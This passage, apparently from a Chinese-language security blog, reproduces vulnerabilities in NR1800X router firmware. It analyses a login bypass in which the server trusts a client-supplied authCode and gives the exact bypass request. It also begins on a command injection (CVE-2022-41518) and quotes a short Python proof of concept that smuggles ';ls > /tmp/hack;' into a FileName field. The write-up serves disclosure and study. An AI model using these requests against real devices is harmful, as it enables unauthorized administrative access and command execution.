![图片.png](http://47.117.131.13/usr/uploads/2022/11/1266744638.png) 然后从 NVRAM 存储器中读取管理员 username 及 password: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1022581572.png) 这里存在一个问题,我们使用 QEMU 模拟执行 ligthttpd 服务器,如果没有额外做 NVRAM 的相关处理工作的话,此时 QEMU 环境中肯定是没有 NVRAM 存储器的,意味着读取 username 和 password 失败,为空字符串。这也是为什么我们无论如何都登录失败的原因,也因此此处 authCode = 1 成立: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1893130732.png) 接着决定 GoURL= "login.html",并修改 authCode = 0: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/411063684.png) 最终拼接得到 302 重定向的 url 为 `http://192.168.2.12/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login`: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/212054343.png) 通过分析完第一个请求,我们理解了第二个请求从何而来,但漏洞点还未浮现。实际上此时也存在一些严重问题: - password 明文传输 - password 在 NVRAM 中明文记录 - 认证的关键结果 authCode 返回给客户端,后续第二个请求直接带上?但毫无疑问客户端可以直接修改 authCode 值 实际上这个登录绕过漏洞的根因点就潜藏在上述问题之中。我们继续分析第二个请求。第二个请求不是 cgi 请求,应该是直接由 ligthttpd 直接处理,使用 IDA 分析并通过字符串 formLoginAuth.htm 定位到函数 userloginAuth,这是一个导出函数: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1321624566.png) 关键函数为 Form_Login,依然是先提取参数,得 authCode = 0,userName = "",password = "",goURL = "login.html",flag = "": ![图片.png](http://47.117.131.13/usr/uploads/2022/11/3616057138.png) 然后是最关键的一个地方,在 authCode = 1 的分支中我们观察到有 form_add_session 的调用,很可能意味着认证通过后的 session 的构建,我们要想办法到达这里: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/501714877.png) 我们的请求中 authCode = 0,当然无法构建 session。那不如直接更改 authCode = 1 试试?结果跳回到登录页面,观察此时的请求,302 重定向到 http://192.168.5.12/login.html?timestamp=1669136990: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/3318679985.png) 但根据猜想,此时其实已经构建了合法的 session。我们直接访问 `http://192.168.5.12/home.html`,证实已经可以进入后台管理界面,登录绕过成功! ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1151226514.png) 不过我们可以更进一步,此时我们已经能够进入目标分支,关键是怎么使得重定向的页面不是 login.html。通过分析,在稍前的地方有一个分支,在 goURL 为空时决定一个值。因为我们的请求中 goURL 有值为 "login.html",所以此处分支不可达: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2384438694.png) 既然如此,我们去掉 goURL 应该就能进入上述分支,而 flag 为空,最终我们应该能够得到 goURL = "home.html"。构造请求为 `"http://192.168.5.12/formLoginAuth.htm?authCode=1&userName=&action=login"`,页面直接转入后台管理页面,登录绕过成功! ![图片.png](http://47.117.131.13/usr/uploads/2022/11/437040280.png) 至此,我们成功分析并复现了登录绕过漏洞。我们可得,第一个请求本意是认证 username 和 password,根据认证结果决定 authCode,后续根据 authCode 在另一个请求中构建 session。 致命的是服务器居然信任由客户端传递的 authCode,而不是将 authCode 记录在后台。因此远程攻击者直接发起 `"http://192.168.5.12/formLoginAuth.htm?authCode=1&userName=&action=login"` 请求构造 authCode = 1 就能绕过账户认证,ligthttpd 会为其构建 session 并跳入后台管理界面。 ## 3.2、CVE-2022-41518 UploadFirmwareFile 命令注入漏洞 > 参考:[CVE-2022-41518](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41518)、[NR1800X - command injection - UploadFirmwareFile](https://brief-nymphea-813.notion.site/NR1800X-command-injection-UploadFirmwareFile-a98e96086d824b7d8b788a8639322457) 根据披露,NR1800X 路由器在 /cgi-bin/cstecgi.cgi 的 UploadFirmwareFile 函数中存在命令注入。在 IDA 中搜索并没有找到 UploadFirmwareFile 函数,但能找到相关的字符串: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1256772069.png) 但进一步并没有找到对字符串的相关引用。进一步根据披露中的相关字符串,通过对字符串 FileName 的引用,定位到函数 0042D40C 附近,但 IDA 并没有将此处识别为函数。通过观察其它函数,发现多数函数都以 `addiu &sp, xxxx` 指令开头,因此定位到地址 0042D3B4 应该是函数入口: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2678452930.png) 使用快捷键 P 创建函数,得到如下伪代码,图中的 doSystem 即是发生命令注入的地方: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/402690517.png) v2 在 doSystem 中直接打印到 mv 后面,没有做任何过滤校验。因此如果 v2 可控的话,此处就会发生命令注入。从分析登录绕过漏洞的经验可知,此处的 a1 应该是类似请求中的查询字符串之类的数据,所以 v2 很可能是请求带上的 FileName 数据,客户端可控。 因为 IDA 分析失败的原因,当前函数是我们自定义创建的,所以不会有任何的交叉引用,意味着除非有深入的分析及调试,否则简单的静态分析我们很难确认当前函数关联的请求。披露文档中给出的 poc 如下: ```python import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie = {"Cookie":"uid=1234"} data = {'topicurl' : "UploadFirmwareFile", "FileName" : ";ls > /tmp/hack;"} response = requests.post(url, cookies=cookie, json=data) print(response.text) print(response) ``` 可知 url = `"http://192.168.17.220:80/cgi-bin/cstecgi.cgi"`,POST 请求,请求体中带上 FileName 数据。 最后修改:2022 年 11 月 25 日 01 : 23 AM © 允许规范转载